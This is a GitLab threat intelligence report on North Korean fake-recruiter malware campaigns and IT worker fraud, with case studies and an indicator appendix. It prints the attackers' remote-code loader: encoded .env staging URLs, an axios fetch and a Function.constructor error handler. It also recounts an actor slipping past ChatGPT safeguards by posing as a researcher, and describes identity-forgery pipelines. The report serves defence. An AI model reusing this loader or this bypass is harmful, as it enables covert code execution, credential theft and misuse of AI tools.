GitLab Threat Intelligence Team reveals North Korean tradecraft

We’re sharing intelligence on threat actors associated with North Korean Contagious Interview and IT worker campaigns to raise awareness of emerging trends in operations and tradecraft. We hope this analysis helps the broader security community defend against evolving threats and address the industry-wide challenge of threat actors using legitimate platforms and tools for their operations.
Publishing this intelligence reflects our commitment to disrupting threat actor infrastructure. Our security team continuously monitors for accounts that violate our platform’s terms of use and maintains controls designed to prevent the creation of accounts from U.S.-embargoed countries in accordance with applicable trade control laws.There is no action needed by GitLab customers and GitLab remains secure.Executive summaryWhat is Contagious Interview?Since at least 2022, North Korean nation-state threat actors have posed as recruiters to induce software developers to execute malicious code projects under the pretense of technical interviews. Malicious projects execute custom malware, allowing threat actors to steal credentials and remotely control devices, enabling financial and identity theft and lateral movement. This malware distribution campaign has impacted thousands of developers and is tracked in industry research as Contagious Interview.About the reportIn 2025, GitLab identified and banned accounts created by North Korean threat actors used for Contagious Interview. GitLab’s visibility into these actors' code repositories provides unique, real-time intelligence into the infrastructure powering campaign activity. In some instances, we can leverage this insight to identify private GitLab.com projects created and used by North Korean nation-state threat actors. Some private projects contain malware development artifacts powering North Korean nation-state malware campaigns. Other projects contain records and notes or software capabilities that support North Korean sanctions evasion and revenue generation through IT worker activity.Exposing this activity discourages future attempts by these actors to create GitLab accounts and offers insights other organizations can use to enhance their own defenses.This report contains a Year in Review summarizing activity from North Korean nation-state actors that used GitLab.com for their operations in 2025, including a campaign-level view into malware infrastructure and technique trends. The report also includes case studies analyzing:Financial records maintained by the manager of a North Korean IT worker cell, detailing proceeds from 2022 to 2025A synthetic identity creation pipeline used to create at least 135 personas, automated to generate professional connections and contact leads at scaleA North Korean IT worker controlling 21 unique personas and adding their own image to stolen U.S. identity documentsA North Korean IT worker recruiting facilitators and working for U.S. organizations while operating from Moscow, RussiaWe’re also sharing more than 600 indicators of compromise associated with these case studies, which can be found in the Appendix.Year in ReviewNorth Korean nation-state malware activity accelerated in the second half of 2025 and peaked in September. We banned an average of 11 accounts per month for distributing North Korean nation-state malware or loaders. We assess that North Korean nation-state malware activity on GitLab.com almost certainly relates to distinct teams operating in parallel based on branching distribution and obfuscation techniques, infrastructure, and malware variants.Key findingsHere are our key findings, including 2025 campaign trends and malicious code project features.2025 campaign trendsIn 2025, we banned 131 unique accounts distributing malicious code projects we attribute to North Korean nation-state threat actors. We identified malicious projects through a combination of proactive detection and user reports. In every instance, threat actors used primarily JavaScript codebases. Malicious repositories executed JavaScript-based malware families tracked publicly as BeaverTail and Ottercookie in more than 95% of cases, however we also observed the distribution of lower prevalence payloads, including the compiled ClickFix BeaverTail variant we identified in September.Threat actors typically originated from consumer VPNs when interacting with GitLab.com to distribute malware; however they also intermittently originated from dedicated VPS infrastructure and likely laptop farm IP addresses. Threat actors created accounts using Gmail email addresses in almost 90% of cases. We observed custom email domains in only five cases, all relating to organizations we assess are likely front companies controlled by North Korean threat actors. Based on project composition, threat actors most commonly targeted developers seeking employment in the cryptocurrency, finance, and real estate sectors. Threat actors also targeted developers in sectors, including artificial intelligence and gaming, at a low rate.In more than 80% of instances, threat actors did not store malware payloads on GitLab.com, instead storing a concealed loader intended to source and execute remote content. Threat actors abused at least six legitimate services to host malware payloads, most commonly Vercel. Threat actors also used custom domains to host malware payloads at least 10 times in 2025.We observed diverse project structures and a gradual evolution of concealment techniques through 2025. In nine instances, threat actors used malicious NPM dependencies created immediately prior to their use in malicious projects. In December, we observed a cluster of projects executing malware via VS Code tasks, either piping remote content to a native shell or executing a custom script to decode malware from binary data in a fake font file.Malicious code project featuresThe most common execution pattern we observed in 2025 had the following features:A base64 encoded next-stage URL, header key, and header value, all masquerading as benign variables in a .env file.A trigger function intended to source remote content and raise an error.A global invocation of the trigger function in a file executed as soon as the project is run.A custom error handler intended to execute remote content from the trigger function by using Function.constructor to load a string as executable code.Example excerpt from a .env file containing malicious encoded variables:# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw
RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy
RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0
Decoded values from the .env file (defanged):# Runtime Configuration
RUNTIME_CONFIG_API_KEY=hxxps[:]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823
RUNTIME_CONFIG_ACCESS_KEY=x-secret-header
RUNTIME_CONFIG_ACCESS_VALUE=secret
Example trigger function intended to source remote content from the concealed staging URL and trigger the custom error handler: {
try {
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
try {
globalConfig = (await axios.get(${src}, {
headers: {
[k]: v
}
}));
log('Runtime config loaded successfully.');
} catch (error) {
errorHandler(error.response?.data || error.message);
}
} catch (err) {
await errorHandler(err.response?.data || err.message || err);
}
};
" language="javascript" meta="" className="language-javascript"const errorTimeHandler = async () = {
try {
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
try {
globalConfig = (await axios.get(${src}, {
headers: {
[k]: v
}
}));
log('Runtime config loaded successfully.');
} catch (error) {
errorHandler(error.response?.data || error.message);
}
} catch (err) {
await errorHandler(err.response?.data || err.message || err);
}
};
Example custom error handler intended to execute remote code: {
try {
if (typeof error !== 'string') {
sss
console.error('Invalid error format. Expected a string.');
return;
}
const createHandler = (errCode) = {
try {
const handler = new(Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error('Handler function is not available.');
}
} catch (globalError) {
console.error('Unexpected error inside errorHandler:', globalError.message);
}
};
" language="javascript" meta="" className="language-javascript"const errorHandler = (error) = {
try {
if (typeof error !== 'string') {
sss
console.error('Invalid error format. Expected a string.');
return;
}
const createHandler = (errCode) = {
try {
const handler = new(Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error('Handler function is not available.');
}
} catch (globalError) {
console.error('Unexpected error inside errorHandler:', globalError.message);
}
};
The error handler execution pattern allows threat actors to spread malicious components across up to four files and follows a code path targets may miss even if they audit code before running it. Staging URLs commonly respond with decoy content unless the correct header values are included with requests. This technique became increasingly common through 2025, alongside other anti-analysis developments, including sandbox detection in Ottercookie and the increasing use of invite-only private projects.The extent to which distinctive subgroups of activity overlap in time leads us to assess that North Korean nation-state malware distribution on GitLab.com almost certainly relates to distinct teams operating in parallel with limited coordination. We’ve observed instances consistent with individual operators independently trying to fix an execution issue or add a feature to their malware. We also observed instances where threat actors have more than one malware execution pathway in a malicious repository, potentially resulting in malware executing twice or more. These instances suggest low technical proficiency among some operators, who appear to lack confidence when modifying malware code.Other notable observationsIn July 2025, we identified a project containing notes kept by a North Korean nation-state malware distributor. The threat actor maintained a target list containing more than 1,000 individuals' names. Comments added by the threat actor identify 209 individuals having responded to contact attempts, 88 of whom were recorded as having executed a malicious project. This operator also maintained documents and code related to contract software development, suggesting simultaneous engagement in both malware distribution and fraudulent employment.In September 2025, we observed a North Korean nation-state malware developer using AI to help develop a custom obfuscator for BeaverTail. Based on commit messages and project data, the developer used ChatGPT and Cursor (with an unknown model) to refine their obfuscator by testing whether AI was capable of de-obfuscating their code. Based on AI model responses, the threat actor was able to avoid triggering safeguards by posing as a security researcher attempting to analyze the malware. This demonstrates the broadly empowering nature of AI and the limits of safeguards in preventing use by motivated threat actors. We have not observed the BeaverTail variant the threat actor created in the wild.In October 2025, a North Korean nation-state-controlled account submitted a support ticket to appeal a ban from GitLab.com for malware distribution. The threat actor, posing as the CTO of a newly created cryptocurrency organization, inquired about the reason for their ban and requested account reinstatement. We assess that this support ticket was likely an attempt to gather information about our detection methodology. We provided no information to the threat actor and also banned a subsequent account they created using the same CTO persona.ImplicationsNorth Korean nation-state malware operations are atypical because of how much direct human effort is involved. The volume of manual effort by many operators presents a challenge to service providers because of the extreme diversity in techniques that emerges.We observed an increasing emphasis on obfuscation and evasiveness in the second half of 2025, indicating that service provider disruptions are forcing an evolution in tactics. Despite this, we anticipate that North Korean nation-state malware campaigns will continue through 2026 due to the continued effectiveness of the campaign and the high value of developer endpoints to North Korean threat actors.MitigationWe banned 131 accounts associated with North Korean nation-state malware distribution in 2025. We’re grateful for the abuse reports we received from GitLab.com users, which helped us to track threat actors through infrastructure and technique shifts. We encourage GitLab.com users encountering malicious or suspicious content to continue to submit abuse reports using the abuse report functionality on user profile pages.We improved our data collection and clustering of North Korean nation-state accounts and invested in new capabilities to identify threat actor infrastructure. We collaborated with industry partners to share our data, enabling the disruption of accounts on other platforms.Case studiesCase Study 1: North Korean IT Worker Cell Manager Financial and Administrative RecordsSummaryWe identified a private project almost certainly controlled by Kil-Nam Kang (강길남), a North Korean national managing a North Korean IT worker cell. Kang maintained detailed financial and personnel records showing earnings of more than US$1.64 million between Q1 2022 and Q3 2025. Kang’s cell currently includes seven other North Korean nationals and generates revenue through freelance software development under false identities. We assess that the cell is highly likely colocated and operating from Beijing, China.Key findingsIn late 2025, we identified a private project containing financial records and administrative documents related to the operation of a North Korean IT worker cell. Detailed financial records span from Q1 2022 to Q3 2025, however less detailed records indicate the cell was operating as early as 2019.We assess that the project is almost certainly controlled by North Korean national Kil-Nam Kang. Records indicate that Kang managed the cell as two subteams in 2022, however from 2023 onwards only tracked performance at the individual level. Kang maintains detailed personnel records, including dossiers on each team member, performance reviews, and copies of team members’ passports. Kang also has credentials to remotely access each cell member's workstation.Personnel dossiers list each of the cell members as “베이징주재 김일성종합대학 공동연구중심 연구사”, translating to “Researcher at Kim Il-sung University Joint Research Center in Beijing”. This designation suggests that the cell’s presence in China may be under an academic pretext. Kang generally accessed GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently 111.197.183.74.Dossiers list devices and accounts owned by each cell member, including passwords to access accounts. Dossiers list from two to four “대방관계” (“bilateral relations”) for each cell member. We assess that these bilateral relations almost certainly include active facilitators, however may also include inadvertent facilitators or victims of identity theft. Bilateral relations span countries including the U.S., Canada, Mexico, Panama, the U.K., France, Spain, Sweden, Montenegro, Russia, China, Thailand, Indonesia, Malaysia, Philippines, Sri Lanka, Argentina, Chile, and Peru. The project contains other data on bilateral relations, including identity documents, banking information, and credentials to remotely access devices and accounts.Financial records indicate that the cell generates revenue through freelance and contract software development services. The cell maintains detailed notes linking each software development project to a facilitator persona. These notes include samples of communication styles and notes on facilitator circumstances and temperaments to enable cell members to switch between projects if required. The cell focused on web and mobile app development.Software development clients pay the cell via digital payment processors. Withdrawal receipts indicate that cell members withdraw funds from payment platforms into Chinese banks. The cell maintained organized banking records, including digital images of Chinese Resident Identity Cards, which are required to access the Chinese financial system. The cell maintained individual records for at least three Chinese banks. One Chinese Resident Identity Card relates to a North Korean national who is not a member of the cell.The project contained more than 120 spreadsheets, presentations, and documents that systematically track quarterly income performance for individual team members. Reports compare team member earnings against predefined targets and quarter-over-quarter performance. The comprehensiveness and highly structured nature of financial reports is indicative of regular financial monitoring and reporting to leadership.We aggregated financial data and identified a total reported income of US$1.64 million from Q1 2022 to Q3 2025. The cell had a target of US$1.88 million over the same period. The cell averaged approximately US$117,000 per quarter, approximately US$14,000 per member excluding Kang. The cell produced the highest earnings in the first half of 2022 and lowest earnings in Q3 2025.We assess that cell income goals were likely set based on a combination of prior earnings and cell membership. In Q3 2025, cell member Won-Jin Kim was dropped from tracking and his documentation was shifted to a directory marked “귀국” (“Return to the home country”). We assess that Won-Jin Kim’s departure from the cell is unlikely to relate to revenue generation performance based on consistently high earnings relative to other members.The private project also contained performance reviews for cell members, dated 2020. These performance reviews confirm that the cell is physically colocated and include commentary about cell members’:Earnings contribution and mutual skills development.Voluntary donations for Typhoon Bavi and COVID-19 recovery in North Korea.Contributions to collective household duties, including doing laundry, providing haircuts, and purchasing shared food and drink.Interpersonal values and adherence to party values.These reviews suggest that the cell operates as a tightly controlled collective household where individual performance encompasses both revenue generation and ideological conformity. We observed instances of a cell member communicating with an unknown party by continually overwriting an HTML comment hidden in a large decoy codebase. The other party appeared to be able to communicate with North Korea, and provided the cell member with information about personal matters and the international movements of mutual contacts. This communication method was unique to this exchange and may have been an attempt by the cell member to evade surveillance by their superiors.ImplicationsThis activity provides a unique view into the financial operations and organizational structure of a North Korean IT worker cell. Records demonstrate that these operations function as structured enterprises with defined targets and operating procedures and close hierarchical oversight. This cell’s demonstrated ability to cultivate facilitators globally provides a high degree of operational resiliency and money laundering flexibility.The declining earnings trend through 2025 may reflect a changing landscape due to increased public awareness of North Korean IT worker activities. Despite this decline, the cell had earnings exceeding US$11,000 per member in Q3 2025, demonstrating a clear capability to generate funds for the regime.MitigationsWe banned accounts related to this activity.Case Study 2: Synthetic Identity Creation and Service Abuse at ScaleSummaryWe identified a North Korean nation-state software development team collaborating on a large-scale synthetic identity creation capability. The capability included functionality to scrape images and personal data, generate fake passports, and automate email and professional networking accounts to generate leads. The threat actors also developed tools to synchronize Git repositories and created copies of proprietary code they gained access to. This activity cluster created a minimum of 135 synthetic identities purporting to originate from Eastern Europe and Southeast Asia. Using these personas, the actor gained access to at least 48 private codebases.Key findingsWe identified a set of projects contributed to by a North Korean nation-state activity cluster focused on capability development and large scale synthetic identity creation. The cluster included 10 distinct GitLab accounts or Git identities that exhibited concurrent activity or had distinct origins, leading us to assess that the activity cluster highly likely comprised at least a small team of developers. Accounts commonly originated from Virtual Private Servers but intermittently originated from Russian IP space. The development team commenced activities in 2021 but was most active from late-2024 to mid-2025.The threat actor developed a complex multistage process to generate synthetic identities at scale. The overall flow of the threat actor’s identity creation capability was to:Scrape photographs from social media, AI image generators, and other platforms.Use the legitimate faceswapper.ai service to create novel images by swapping faces from diverse source images into headshot-style images suitable for identity documents.Generate passports with fake personal information using VerifTools and newly created headshots. VerifTools is an illicit fraudulent identity document service disrupted by U.S. authorities in August 2025. Downloaded passports contained watermarks because the threat actor did not pay for VerifTools.Use an automated Adobe Photoshop routine stored in a .atn file to extract and remove VerifTools watermarks.Create accounts on email and professional networking sites. The threat actor used fake passports to seek enhanced identity verification on professional networking sites.The threat actor’s tooling to interact with abused services was brokered through a control node hosted at 185.92.220.208. This control node served a custom API that allowed individual operators to remotely create, monitor, and control individual accounts. The threat actor used web browsers instrumented with Selenium to interact with abused services. The threat actor primarily automated accounts to make connections and cold contact leads to generate software engineering work.The threat actor used a combination of dedicated, IPRoyal, and open proxies to obfuscate their activities and stored a massive volume of solutions to animal/object matching CAPTCHA challenges to facilitate bypasses in automated scripts. The control node tracked the efficacy of the threat actor’s accounts, contact scripts, and infrastructure, allowing the threat actor to monitor campaign effectiveness and adapt its techniques over time through an administrative dashboard.The threat actor stored working data on dedicated infrastructure or in cloud storage accounts rather than on GitLab.com. However, in September 2024, the threat actor inadvertently committed a dump of its database to GitLab.com. The database contained records of profiles controlled at that time, which was early in the development of the capability. The contents of some fields in the database were encrypted, however the server-side decryption routine code stored on GitLab.com contained a hard-coded key, allowing us to decrypt the data.As of September 2024, the threat actor controlled 135 synthetic identities. Identities most commonly purported to be based in Serbia, but also purportedly originated from Poland, Philippines, Indonesia, Bulgaria, Croatia, Romania, Lithuania, Moldova, Hungary, and Slovakia. For each account, the threat actor stored information about whether identity verification was successful, with overall results indicating the threat actor was successful in just over 40% of verification attempts. Commit volume on the synthetic identity capability escalated sharply from September 2024 to December 2024, indicating that the true scale of the threat actor’s activities may have been much higher. The threat actor also had more than 73,000 leads stored in its database dump, providing insight into the scope of its outbound activities.The threat actor also created a set of command line tools for standardized Git operations. The tooling was primarily intended to allow the threat actor to mirror Git repositories from private namespaces on a range of cloud and self-managed source code management systems. The tooling allowed the threat actor to push commits to the mirror and then have them synchronized to remote repositories under the correct Git identities. This capability gave the threat actor a safety net against making commits under the wrong identity and also meant that they exfiltrated copies of codebases they gained access to. Based on metadata reports committed to GitLab.com by the threat actor, they used this mirroring tooling on at least 48 unique repositories.ImplicationsThis cluster is notable among North Korean nation-state activity we observed in 2025 due to the strong focus on automation and continued efficacy monitoring. This cluster also demonstrates that North Korean nation-state threat actors draw on both emerging AI capabilities and the cybercrime ecosystem to enhance their operations.Identity development is a fundamental element of North Korean nation-state insider activity. North Korean nation-state threat actors incrementally build legitimacy through identities spanning multiple platforms and by seeking enhanced verification services where possible. North Korean nation-state identity cultivation draws on network effects by creating interactions, reviews and testimonials between personas. These tactics have the drawback of increasing threat actors’ exposure to service provider takedowns. Organizations should treat applications with dead links to professional profiles and source code portfolios as highly suspicious.MitigationsWe banned the accounts associated with this activity and notified impacted service providers of potential abuse of their platforms.Case Study 3: North Korean Operator Controlling 21 PersonasSummaryWe identified an individual North Korean operator controlling at least 21 distinct personas based on real identities. The threat actor was focused on revenue generation through contract and freelance software development. The threat actor’s personas spanned five countries and were supported by doctored identity documents and personal information obtained from open sources and through a likely cyber intrusion.Key findingsWe identified a code project used by an individual North Korean operator active from at least May 2021 until February 2025. The threat actor was focused on generating revenue through contract and freelance software development under a range of stolen or shared identities, spanning at least 21 distinct personas. The threat actor focused on web, blockchain, and cloud skill sets, and created blogs and professional social media accounts on various external platforms. The threat actor typically accessed GitLab.com via commercial VPNs and Virtual Private Servers with RDP enabled. Based on lapses in proxy use, the threat actor was likely physically located in Russia during early 2025.The threat actor maintained individual directories for each identity, containing identity documents, resumes, signatures, personal information, and payment card information. The threat actor’s identities spanned the U.S., Canada, Ukraine, Estonia, and Macedonia. For five of their eight U.S.-based identities, the threat actor used Photoshop to edit their own image into one or more stolen identity documents, preserving otherwise valid details. The threat actor produced false Florida and Texas driver licenses and false U.S. passports. The threat actor had Photoshop Document (PSD) template files to produce identity documents for Australia, Austria, Canada, Finland, Germany, Malaysia, Mexico, Philippines, and Poland. We identified some of these template files for sale via illicit services online and assess that the threat actor likely purchased the templates.The threat actor also collected personal information on U.S.-based individuals. The threat actor had files that appear to have been exported from the HR management system of a large U.S.-based hospitality company. The files contained information including personal and contact details, protected class status, and identity document numbers for almost 8,000 employees of the organization. We were unable to locate this data in circulation or data breach aggregators, suggesting that the data may have been obtained by the threat actor during an intrusion or purchased in a one-off sale. The threat actor also had an export of the public Florida voter registration database, which is one of the most detailed publicly available voter databases.ImplicationsThis threat actor’s activities suggest that North Korean threat actors place a particular value on U.S. identities. We identified no evidence that the threat actor altered non-U.S. identity documents or collected personal data from any other country. This activity also demonstrates that North Korean threat actors, even when focused on earning wages, present a cyber intrusion risk and actively leverage the cybercrime ecosystem to support their operations.MitigationWe banned the account associated with this operator.Case Study 4: North Korean Fake IT Worker Operating from Central MoscowSummaryWe identified a private code repository used by a North Korean fake IT worker likely operating from central Moscow. The threat actor was focused on cultivation of a smaller group of more detailed personas and progressed from freelance work to full-time employment. The threat actor also attempted to recruit remote facilitators to maintain custody of laptops intended to be remotely accessed.Key findingsWe identified a private code project controlled by a North Korean fake IT worker most recently active in December 2025. We identified the project within a week of its creation, however the threat actor's records indicate they have been active on other platforms since at least 2022. The threat actor started as a freelance software developer and 3D modeler but shifted focus to seeking fraudulent full-time employment in 2025. The threat actor’s strategy relied on a smaller number of personas with emphasis on establishing legitimacy through backstopping rather than relying on many disposable personas.Repository contents indicate that the threat actor began as a fraudulent freelancer. Invoices created by the threat actor during this period were marked payable to individuals and addresses in China, Poland, and Spain. Documents stored by the threat actor indicate that they rotated through accounts on at least three payment processors to receive payments from clients. A spreadsheet stored by the threat actor indicates they were part of a 14-member cell in 2022, however they did not store continuous financial records on GitLab.com. North Korean cells we have observed on GitLab.com typically have smaller membership and this is the only data we have observed consistent with a cell membership exceeding 10.In early 2025, the threat actor pivoted to attempting to obtain full-time employment at U.S. and U.K. organizations. In March 2025, the threat actor uploaded chat logs to GitLab.com containing exchanges with another likely North Korean operator. The threat actors discussed their progress in recruiting individuals in the U.S. and U.K. to maintain custody of laptops to be remotely accessed in exchange for a fixed fee and the payment of power and internet utilities. The primary threat actor mentioned having a current facilitator based in Hong Kong providing remote access to a device and sharing their identity and a potential facilitator in the U.K. The primary threat actor represented himself as a Chinese national with visa difficulties when attempting to recruit facilitators.In April 2025, the threat actor operationalized the Hong Kong-based facilitator and started seeking employment. The threat actor circulated a set of resumes with different skill sets on resume-sharing sites and on a personal portfolio website. The threat actor took a series of photographs of themselves and used several AI-headshot services to create professional profile photos.The threat actor uploaded the original images used to create their AI headshots to GitLab.com. The images contained EXIF metadata, including GPS coordinate data. GPS coordinates stored on the images indicate that they were taken at 55°43'44.4"N 37°36'55.8"E, which is a location in the Yakimanka District in central Moscow. We note that these coordinates were highly likely produced via Windows location services based on WiFi positioning and may have a reduced accuracy compared to true GPS. Despite this limitation, we assess that it is highly likely that this threat actor was based in Moscow when the images were captured on April 18, 2025. The threat actor also commonly originated from Russian IP addresses when accessing GitLab.com without a VPN.The threat actor’s notes indicate that they gained employment with at least one small U.S.-based technology agency in mid-2025 and were subsequently contracted to five other organizations. The threat actor appears to have gained significant access to the agency, including privileged access to web hosts used for client projects and potential access to an executive’s Slack account. The threat actor stored copies of the executive’s resume and message logs indicating that the threat actor may represent themselves as the executive in communications with external parties. We are unable to assess whether this is an instance of facilitation or the threat actor using their foothold to establish deeper control of the agency.ImplicationsThis incident is an example of a North Korean fake IT worker cultivating a small number of detailed personas. This approach is distinct from other operators that focus on a higher volume of disposable personas.This incident also provides insight into North Korean facilitator cultivation. The threat actors were content to seek purely technical facilitators rather than facilitators willing to share their identities and participate in meetings. This preference suggests that North Korean operators prioritize circumventing technical controls such as IP address-based geolocation and reputation scoring over identity verification challenges, indicating that technical controls may be a more significant operational barrier in the current landscape.MitigationsWe banned the account associated with this activity.Saksham Anand contributed to this report.Appendix 1: GitLab Threat Intelligence Estimative LanguageWe use specific language to convey the estimated probability attached to assessments. We also use words including "possible" and "may" in circumstances where we are unable to provide a specific estimate. Further reading on estimative language is available here.Estimative TermAlmost Certainly NotHighly UnlikelyUnlikelyReal ChanceLikelyHighly LikelyAlmost CertainProbability Range0 - 10%10 - 25%25 - 40%40 - 60%60 - 75%75 - 90%90 - 100%Appendix 2: Indicators of CompromiseWe recommend that organizations use these indicators of compromise as a basis for investigation rather than as a blocklist. North Korean threat actors almost certainly use compromised and purchased identities to support their operations, meaning these indicators of compromise may not be uniquely malicious or may have reverted to their original owners. We have made our best efforts to filter for email addresses where threat actors have indicated positive control of the email address on one or more platforms or represented themselves as the associated identity.IndicatorTypeRiskFirst SeenLast SeenCommentCase Studyaleks.moleski@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewaleksander.malinowski@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewanatol.baranski@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewanton.plonski@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewben.moore0622@outlook.comemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewedward.harley@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewiwan.banicki@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewjohnwilson0825@outlook.comemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewkevin.brock@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewrichard.francis10@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewrobert.radwanski@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewroman.bobinski@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewroman.ulanski@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewstefan.moleski@mail.ioemailmalwareN/AN/AUsed for malware distribution on freelance developer platformsYear in Reviewtaraslysenko@mail.ioemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewcorresol28@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewcorresol28@outlook.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewpaniker1110@outlook.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewwalterjgould77@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewsupernftier@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewbohuslavskyir@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewartizjusz11@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewbartonfratz@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewcryptodev26@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewdeinsulabasil@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewelsaadanifaiek@hotmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewfelipe.debarros@hotmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewgeordiecuppaidge684@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewgreatbusinessman517@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewjhmnuykbvgftrss@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewkainmcguire@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewkimberlysunshine137@yahoo.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewkonovalov1256@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewkvashinalexander@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewmarkstevemark85@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewoleksandrbokii963@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewpaniker1110@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewrubenbolanos19733@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewsimpsonkeith686@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewsonniehutley5@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewtagi238761@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewvlulepet9@gmail.comemailmalwareN/AN/ADPRK malware developer accountsYear in Reviewcnova.business.en@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewdanielmcevily.business918@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewjaimetru003@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewdaysabethtederstz7533@hotmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewthiagocosta199295@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewcptrhzv09@hotmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewchainsaw1107@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewmutsabsaskajgig0f@outlook.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewsnowl3784@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewdieterwang@proton.meemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewcesarpassos4808@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewlazar.master.0204@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewlujancamryn405@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewharryjason19880502@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewfraserhutchison1@hotmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewstovbanoleksandr14@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewramirezhector9299@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewmimoriokamoto@gmail.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewwilson.wen2145@outlook.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewjasonfissionawgyi08293@outlook.comemailmalwareN/ADecember 2025DPRK malware distributor GitLab.com accountYear in Reviewolelangaard9@gmail.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in Reviewmirandacunningham1993@outlook.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in Reviewjerryjames1997@outlook.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in Reviewcaryphillips.business727@gmail.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in Reviewsoft.business1103@outlook.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in Reviewsoft.business1024@outlook.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in Reviewsoft.business1020@outlook.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in Reviewsoft.business0987@gmail.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in Reviewalphabrownsapon70555@hotmail.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in Reviewwelbykchamu4i72@outlook.comemailmalwareN/ANovember 2025DPRK malware distributor GitLab.com accountYear in 